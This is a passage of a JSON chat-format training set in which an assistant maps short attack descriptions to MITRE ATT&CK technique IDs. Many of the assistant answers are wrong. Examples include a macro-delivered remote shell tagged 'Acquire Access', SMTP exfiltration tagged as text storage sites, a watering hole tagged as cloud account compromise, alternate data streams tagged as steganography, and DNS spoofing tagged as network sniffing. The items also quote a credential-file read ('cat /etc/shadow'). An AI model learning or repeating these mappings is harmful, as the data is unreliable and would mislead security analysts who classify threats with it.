                "content": "The code checks the system's environment variable \"DBGHELP\" for signs of installed debugging libraries."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor leverages the Linux ptrace system call to attach to a legitimate process, overwriting its memory with a payload that executes arbitrary code."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker employs the 'cat /etc/shadow' file to identify existing local user accounts on a Unix system."
            },
            {
                "role": "assistant",
                "content": "T1087.001 - Account Discovery: Local Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised privileged account, the threat actor executes a malicious MMC snap‑in to achieve code execution."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious macro in a Word document was executed, granting the attacker remote shell access."
            },
            {
                "role": "assistant",
                "content": "T1650 - Acquire Access"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor leverages a trusted third‑party software update mechanism to deliver a trojanized installer to target organizations."
            },
            {
                "role": "assistant",
                "content": "T1195 - Supply Chain Compromise"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware exfiltrates data by appending sensitive information to outbound SMTP emails sent to attacker-controlled addresses."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious actor compromises Azure Functions by injecting backdoor code through a compromised deployment pipeline."
            },
            {
                "role": "assistant",
                "content": "T1584.007 - Compromise Infrastructure: Serverless"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool accesses the /sys/firmware/efi/efivars directory on Linux to harvest firmware metadata."
            },
            {
                "role": "assistant",
                "content": "T1592.003 - Gather Victim Host Information: Firmware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion group used cmstp.exe to run a malicious INF file, allowing them to execute PowerShell code while evading application whitelisting."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device runs a DHCP proxy that issues unauthorized network configuration parameters, enabling the attacker to intercept traffic."
            },
            {
                "role": "assistant",
                "content": "T1557.003 - Adversary-in-the-Middle: DHCP Spoofing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors invoke msiexec with a crafted command line to execute hidden scripts, leveraging the legitimate system binary as a proxy."
            },
            {
                "role": "assistant",
                "content": "T1218.007 - System Binary Proxy Execution: Msiexec"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By scanning /proc/[pid]/fd, the malicious code identifies file descriptors pointing to credential stores and copies their data."
            },
            {
                "role": "assistant",
                "content": "T1003.007 - OS Credential Dumping: Proc Filesystem"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware modifies the Windows system registry key that defines the system PATH, prepending a path to a rogue DLL so that it is loaded by legitimate processes."
            },
            {
                "role": "assistant",
                "content": "T1574.007 - Hijack Execution Flow: Path Interception by PATH Environment Variable"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During lateral movement, the attacker renames a credential dumping tool with an RLO character so it mimics a system utility in file listings."
            },
            {
                "role": "assistant",
                "content": "T1036.002 - Masquerading: Right-to-Left Override"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious script called the Docker Engine API to create a privileged container that executed ransomware on the host."
            },
            {
                "role": "assistant",
                "content": "T1609 - Container Administration Command"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor extracts MFA seed secrets from a backup file and regenerates valid TOTP codes to authenticate as the victim."
            },
            {
                "role": "assistant",
                "content": "T1111 - Multi-Factor Authentication Interception"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors employ a covert channel over ICMP echo replies to exfiltrate small chunks of encrypted data to an external host."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A Python script is executed via DLL hijacking to run arbitrary commands with elevated privileges."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised device sends continuous IPv6 routing advertisements to a network segment, flooding the routers with processing load."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker deploys a container with elevated privileges to bypass host security controls."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker uses a Windows token manipulation technique (e.g., SeImpersonatePrivilege) to elevate privileges."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker executes a malicious script that calls the Windows \"shutdown /r /t 0\" command to force an immediate system reboot."
            },
            {
                "role": "assistant",
                "content": "T1529 - System Shutdown/Reboot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During reconnaissance, the adversary retrieves the SystemRoot value from the registry to determine the OS version."
            },
            {
                "role": "assistant",
                "content": "T1012 - Query Registry"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware abuses Outlook's COM object to iterate through the Inbox folder and save each email as a .msg file."
            },
            {
                "role": "assistant",
                "content": "T1114 - Email Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Utilize watering hole attacks by compromising websites frequently visited by individuals in a specific sector"
            },
            {
                "role": "assistant",
                "content": "T1586.003 - Compromise Accounts: Cloud Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries use a script that only uploads data payloads under 4 KB to avoid detection by size‑based filters."
            },
            {
                "role": "assistant",
                "content": "T1030 - Data Transfer Size Limits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing‑delivered payload sets up an encrypted channel by performing a public key exchange and encrypting all data using the attacker’s public key."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker modifies the Windows Task Scheduler to run a PowerShell command at system startup."
            },
            {
                "role": "assistant",
                "content": "T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits a misconfigured backup directory to retrieve files containing plaintext service accounts and passwords."
            },
            {
                "role": "assistant",
                "content": "T1552.001 - Unsecured Credentials: Credentials In Files"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors manipulate the victim’s email forwarding settings to route all inbound messages to a remote mailbox."
            },
            {
                "role": "assistant",
                "content": "T1114.003 - Email Collection: Email Forwarding Rule"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware drops a backdoor that connects back to the attacker’s server using the open-source remote access tool AnyDesk."
            },
            {
                "role": "assistant",
                "content": "T1219 - Remote Access Software"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group exfiltrates sensitive files via an encrypted FTP session, leveraging asymmetric keys to ensure the data remains unreadable to network defenders."
            },
            {
                "role": "assistant",
                "content": "T1048.002 - Exfiltration Over Alternative Protocol: Exfiltration Over Asymmetric Encrypted Non-C2 Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor gathers information by inspecting the victim’s SSL certificates for subject alternative names that expose additional owned web assets."
            },
            {
                "role": "assistant",
                "content": "T1594 - Search Victim-Owned Websites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT uses a remote file share on a victim’s network as a staging location for exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor establishes a new VPN service subscription to route C2 traffic through encrypted tunnels."
            },
            {
                "role": "assistant",
                "content": "T1583.004 - Acquire Infrastructure: Server"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker exploits a vulnerability in an operating system to gain elevated privileges on a compromised system."
            },
            {
                "role": "assistant",
                "content": "T1068 - Exploitation for Privilege Escalation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker modifies the configuration files of a critical service to change log file locations, effectively hiding their activities."
            },
            {
                "role": "assistant",
                "content": "T1565.001 - Data Manipulation: Stored Data Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker compromised a web server within the victim network and configured it to forward malicious traffic to external C2, effectively using it as an internal proxy."
            },
            {
                "role": "assistant",
                "content": "T1090.001 - Proxy: Internal Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing email includes a link to a .html file that, when opened, uses a self-extracting JavaScript function to reconstruct an embedded executable from encoded strings, illustrating the use of HTML smuggling techniques."
            },
            {
                "role": "assistant",
                "content": "T1027.006 - Obfuscated Files or Information: HTML Smuggling"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker creates a new Group Policy Preference item that contains a local admin password in clear text, which any machine applying the GPO can read."
            },
            {
                "role": "assistant",
                "content": "T1552.006 - Unsecured Credentials: Group Policy Preferences"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Hackers enumerated Office 365 groups via PowerShell cmdlet Get-UnifiedGroup to map permissions."
            },
            {
                "role": "assistant",
                "content": "T1069.003 - Permission Groups Discovery: Cloud Groups"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "AAPT leverages Azure Container Instances to launch a malicious container for lateral movement within the cloud tenant."
            },
            {
                "role": "assistant",
                "content": "T1610 - Deploy Container"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker registers a Windows scheduled task set to execute a malicious PowerShell script at system startup."
            },
            {
                "role": "assistant",
                "content": "T1053 - Scheduled Task/Job"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A red team member creates a directory named \"Windows System\" and drops a payload there, then modifies a service's ImagePath to use an unquoted path, resulting in the payload being executed."
            },
            {
                "role": "assistant",
                "content": "T1574.009 - Hijack Execution Flow: Path Interception by Unquoted Path"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker leverages PowerShell to download a Python interpreter and then runs a script that disables security tools."
            },
            {
                "role": "assistant",
                "content": "T1059.006 - Command and Scripting Interpreter: Python"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion leverages the SMTP VRFY command to verify valid email addresses for later phishing campaigns."
            },
            {
                "role": "assistant",
                "content": "T1071.003 - Application Layer Protocol: Mail Protocols"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit the cmstp.exe binary to install a remote access trojan via an INF file."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the Windows registry's App Paths key to insert malicious directories earlier in the search order, causing the system to load a malicious executable when a legitimate program is invoked."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The group compromised a software supply chain by injecting malicious code into an open‑source library, effectively obtaining an exploit that can be reused against many victims."
            },
            {
                "role": "assistant",
                "content": "T1588.005 - Obtain Capabilities: Exploits"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A nation‑state actor registers a domain and requests a legitimate code‑signing certificate under a fake company name."
            },
            {
                "role": "assistant",
                "content": "T1588.004 - Obtain Capabilities: Digital Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors add a privileged account to Active Directory with domain admin rights."
            },
            {
                "role": "assistant",
                "content": "T1136.002 - Create Account: Domain Account"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Unauthorized database access for data extraction"
            },
            {
                "role": "assistant",
                "content": "T1530 - Data from Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware leverages the Windows task scheduler to start its payload as a child of the winlogon.exe process, blending into the process hierarchy."
            },
            {
                "role": "assistant",
                "content": "T1036.009 - Masquerading: Break Process Trees"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a stolen API key to update the internal dashboard’s header with a defacement message."
            },
            {
                "role": "assistant",
                "content": "T1491.001 - Defacement: Internal Defacement"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malvertising campaign delivers code that reads document.cookie and transmits the data to the attacker."
            },
            {
                "role": "assistant",
                "content": "T1539 - Steal Web Session Cookie"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker purchases a botnet rental service to generate traffic for Distributed Denial of Service attacks."
            },
            {
                "role": "assistant",
                "content": "T1583.005 - Acquire Infrastructure: Botnet"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "APT group uses the Unix command line to compress log files with 'tar' before exfiltration."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker obtains valid VPN user credentials and establishes a connection to the corporate network, then uses that foothold to access internal servers that are normally isolated from the internet."
            },
            {
                "role": "assistant",
                "content": "T1599 - Network Boundary Bridging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code hides its presence by encrypting its payload and storing it in alternate data streams."
            },
            {
                "role": "assistant",
                "content": "T1027.003 - Obfuscated Files or Information: Steganography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Compromised credentials were used to send a DeleteInstance request to IBM Cloud's VPC service, terminating a VM."
            },
            {
                "role": "assistant",
                "content": "T1578.003 - Modify Cloud Compute Infrastructure: Delete Cloud Instance"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies XSL templates used by a web service, embedding malicious code that runs with the service's privileges upon transformation."
            },
            {
                "role": "assistant",
                "content": "T1220 - XSL Script Processing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker places a malicious DLL in a folder that precedes the legitimate library in the system's search order, causing the victim program to load the rogue code during execution."
            },
            {
                "role": "assistant",
                "content": "T1574.008 - Hijack Execution Flow: Path Interception by Search Order Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker performed a man-in-the-middle attack by DNS spoofing and captured the traffic."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker conducts lateral movement by exploiting remote services running on a Linux host via SSH."
            },
            {
                "role": "assistant",
                "content": "T1021.004 - Remote Services: SSH"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker extracts encrypted AS-REP data from a domain controller for users without Kerberos pre-authentication and cracks it offline to obtain Kerberos tickets."
            },
            {
                "role": "assistant",
                "content": "T1558.004 - Steal or Forge Kerberos Tickets: AS-REP Roasting"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The implant negotiates a secure channel by exchanging public keys, then encrypts all subsequent traffic with the attacker’s public key for confidentiality."
            },
            {
                "role": "assistant",
                "content": "T1573.002 - Encrypted Channel: Asymmetric Cryptography"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary leveraged OAuth tokens to bypass MFA and download restricted SharePoint files containing trade secrets."
            },
            {
                "role": "assistant",
                "content": "T1213.002 - Data from Information Repositories: Sharepoint"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion involves deploying a custom bootloader that intercepts the boot process, executing malicious scripts before the operating system starts."
            },
            {
                "role": "assistant",
                "content": "T1542 - Pre-OS Boot"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised developer machine was used to sign a compromised software update, causing the update to be trusted and installed on thousands of endpoint devices."
            },
            {
                "role": "assistant",
                "content": "T1195.002 - Supply Chain Compromise: Compromise Software Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised web portal, the attacker deploys a browser-based keylogger to harvest credentials from any user who logs in."
            },
            {
                "role": "assistant",
                "content": "T1056.003 - Input Capture: Web Portal Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat group deploys client‑side email filtering rules that automatically remove attachments from inbound mail from specific IP addresses."
            },
            {
                "role": "assistant",
                "content": "T1564.008 - Hide Artifacts: Email Hiding Rules"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor utilizes the ProcDump utility to dump the memory of the lsass.exe process and later extracts credentials."
            },
            {
                "role": "assistant",
                "content": "T1003 - OS Credential Dumping"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker runs \"tasklist /v\" on a victim Windows system to gather detailed information about each process."
            },
            {
                "role": "assistant",
                "content": "T1057 - Process Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Describe a situation where an adversary conducts reconnaissance by gathering information about a target's network, provide the corresponding MITRE ATT&CK ID and Name."
            },
            {
                "role": "assistant",
                "content": "T1590 - Gather Victim Network Information"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A tool dumps the LSASS process memory and extracts the LSA secret keys for service accounts."
            },
            {
                "role": "assistant",
                "content": "T1003.004 - OS Credential Dumping: LSA Secrets"
            }
        ]
    },
    {
        "messages": [
            {
